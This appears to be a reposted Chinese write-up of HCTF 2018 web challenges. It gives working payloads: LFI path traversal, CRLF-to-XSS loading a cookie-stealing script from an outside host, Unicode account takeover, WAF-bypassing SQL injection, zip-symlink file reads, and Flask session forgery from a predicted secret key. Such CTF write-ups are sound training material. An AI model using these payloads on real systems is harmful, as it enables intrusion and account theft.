HCTF 2018 Web WrtieUp

栏目: Python · 发布时间: 7年前

内容简介:划了一波HCTF 2018 ,扶我起来我还能划,珍惜这个宝贵的和大家学习的过程。得到Flag位置的提示:网页源码提示source.php,访问显示源码:

划了一波HCTF 2018 ,扶我起来我还能划,珍惜这个宝贵的和大家学习的过程。

Warmup

得到Flag位置的提示:

flag not here, and flag in ffffllllaaaagggg

网页源码提示source.php,访问显示源码:

<?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

这个就是 phpMyAdmin-4-8-x-Authorited-CLI-to-RCE 漏洞的代码,构造Payload如下:

http://warmup.2018.hctf.io/index.php?file=hint.php%253f/../../../../../../../../ffffllllaaaagggg

Flag为: hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}

bottle

描述

Not hard, I believe you are the lucky one!

hint1: */3 */10 

hint2: bot use firefoxDriver

解题

bottle 是一个轻量级的python web框架,题目和名字描述是一样的,采用的是bottle 框架,框架存在漏洞(CVE-2016-9964),HTTP头注入的问题。

path参数为注入点,输出点为响应中的Location,构造Xss的Poc

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io/user/%0a%0d%0a%0d<script>xss</script>

HCTF 2018 Web WrtieUp

发送给admin,打cookie:

HCTF 2018 Web WrtieUp

但是这里存在一个问题,响应是302跳转,我们注入的XssPayload作为实体不会被浏览器解析,根据hint2: bot use firefoxDriver,让Location跳转的地址的端口小于0即可,并且这里可以不用理会Content-Length的问题。

不是很清楚bot是否会补全基本的html标签,所以手动添加一对body,Poc如下

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/user%0a%0d%0a<body></body>%3cscript+src%3dhttp://www.rai4over.cn/bottle.js%3e%3c%2fscript%3e

HCTF 2018 Web WrtieUp

参考p老板链接: https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

admin

网页源码中找到源码链接:

https://github.com/woadsl1234/hctf_flask/

查看源码,得到一些信息

HCTF 2018 Web WrtieUp

.vscode/settings.json(开发环境 python 2.7)

{
    "python.pythonPath": "/usr/local/opt/python@2/bin/python2.7"
}

requirements.txt(安装库版本)

Flask==0.10.1
Werkzeug==0.10.4
Flask_Login==0.4.1
Twisted==10.2.0
Flask_SQLAlchemy==2.0
WTForms==2.2.1
Flask_Migrate==2.2.1
Flask_WTF==0.14.2
Pillow==5.3.0
pymysql==0.9.2

模板中看到当session['name'] == 'admin'时打印Flag。

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>
{% include('footer.html') %}

关键代码:

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))
    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)
@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')
@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)
def strlower(username):
    username = nodeprep.prepare(username)
    return username
  • login函数,使用form.username.data获取表单内容,这是一个unicode对象,Twisted的版本小于11,并且使用封装nodeprep.prepare的strlower()处理form.username.data存入session['name']。

  • change函数,再次使用strlower()处理unicode对象session['name']。

参考 此篇文章 可以完成低版本Twisted处理unicode堆在存在的幂等性攻击。(PS:Python版本大于等于2.5)

注册一个ᴬdmin账号,登陆ᴬdmin,调用一次strlower(),此时session['name']变成Admin的unicode对象。

HCTF 2018 Web WrtieUp

修改账号密码,调用一次strlower(),变成admin,已经修改了admin的密码了。

重新登陆admin,看到flag。

HCTF 2018 Web WrtieUp

kzone

扫描获取题目的源码

http://kzone.2018.hctf.io/www.zip

发现问题文件member.php,cookie中的login_data存在注入漏洞

<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
    if ($_COOKIE["login_data"]) {
        $login_data = json_decode($_COOKIE['login_data'], true);
        $admin_user = $login_data['admin_user'];
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        if ($udata['username'] == '') {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $login_data['admin_pass']) {
            $islogin = 1;
        } else {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
    }
}
if (isset($_SESSION['islogin'])) {
    if ($_SESSION["admin_user"]) {
        $admin_user = base64_decode($_SESSION['admin_user']);
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $_SESSION["admin_pass"]) {
            $islogin = 1;
        }
    }
}
?>

但是有个基于黑名单的软waf

<?php
function waf($string)
{
    $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
    return preg_replace_callback($blacklist, function ($match) {
        return '@' . $match[0] . '@';
    }, $string);
}

没有其他的难点,这里同样要利用unicode绕过waf,满足unicode编码格式的字符在经过json_decode函数后会被解析。

比如传入\u006f后,会被解析成o。

<?php
$a = '{"test":"\u006f"}';
$a = json_decode($a);
var_dump($a);
# { ["test"]=> string(1) "o" }

延时test语句,绕过waf。

login_data={"admin_user":"rai4over'/**/\u006fr/**/\u0073leep(2)"}

最后盲注即可,渣代码脚本就不贴了。

hide and seek

注册用户,登陆后可以上传zip文件,利用zip软连接读取文件。

读取/proc/self/environ得到。

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=323a960bcc1aSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

读取/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini得到。

[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app

读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py得到源码。

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)
    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'
    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None
    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)
if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

可以发现源码中并没有flag的获取方式。

读取/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html得到index.html源码

<h1>Hello, {{ user }}. </h1>
{% if user == 'admin' %}
Your flag: <br>
{{ flag  }}

发现当满足条件后就会打印输出flag,此时我们就需要获得admin的session。

flask的session是本地进行存储的,并且通过了SECRET_KEY进行加密的,得到秘钥就能伪造admin的session。

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

秘钥的生成是通过伪随机数进行生成,种子是通过uuid.getnode()获取的mac地址的十进制,是固定的,我们知道mac地址就能够预测SECRET_KEY。

读取/sys/class/net/eth0/address获取mac地址12:34:3e:14:7c:62,转化十进制20015589129314。

使用 github上的脚本 进行解密自己的flask的session,根据结果判断秘钥是否正确.

import random
import os
random.seed(int(20015589129314))
for x in range(1000):
    SECRET_KEY = str(random.random() * 100)
    cmd = '''python session_cookie_manager.py decode -c "eyJ1c2VybmFtZSI6InRlc3QifQ.Dsqibw.-00-g7bQXA32H9mmH4EmiZaLTyY" -s "{key}"'''.format(key=SECRET_KEY)
    rs = os.popen(cmd).read()
    if ('error' not in rs):
        print(SECRET_KEY)
        exit()

SECRET_KEY为11.935137566861131,加密得到admin的session。(注意使用unicode形式的变量)

python session_cookie_manager.py encode -s "11.935137566861131" -t "{u'username': u'admin'}"
#eyJ1c2VybmFtZSI6ImFkbWluIn0.DsqsHA.F25iczn54vupT0JUQzSKtYbuNw0

成功登录等到flag:

HCTF 2018 Web WrtieUp


以上所述就是小编给大家介绍的《HCTF 2018 Web WrtieUp》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Pattern Recognition and Machine Learning

Pattern Recognition and Machine Learning

Christopher Bishop / Springer / 2007-10-1 / USD 94.95

The dramatic growth in practical applications for machine learning over the last ten years has been accompanied by many important developments in the underlying algorithms and techniques. For example,......一起来看看 《Pattern Recognition and Machine Learning》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具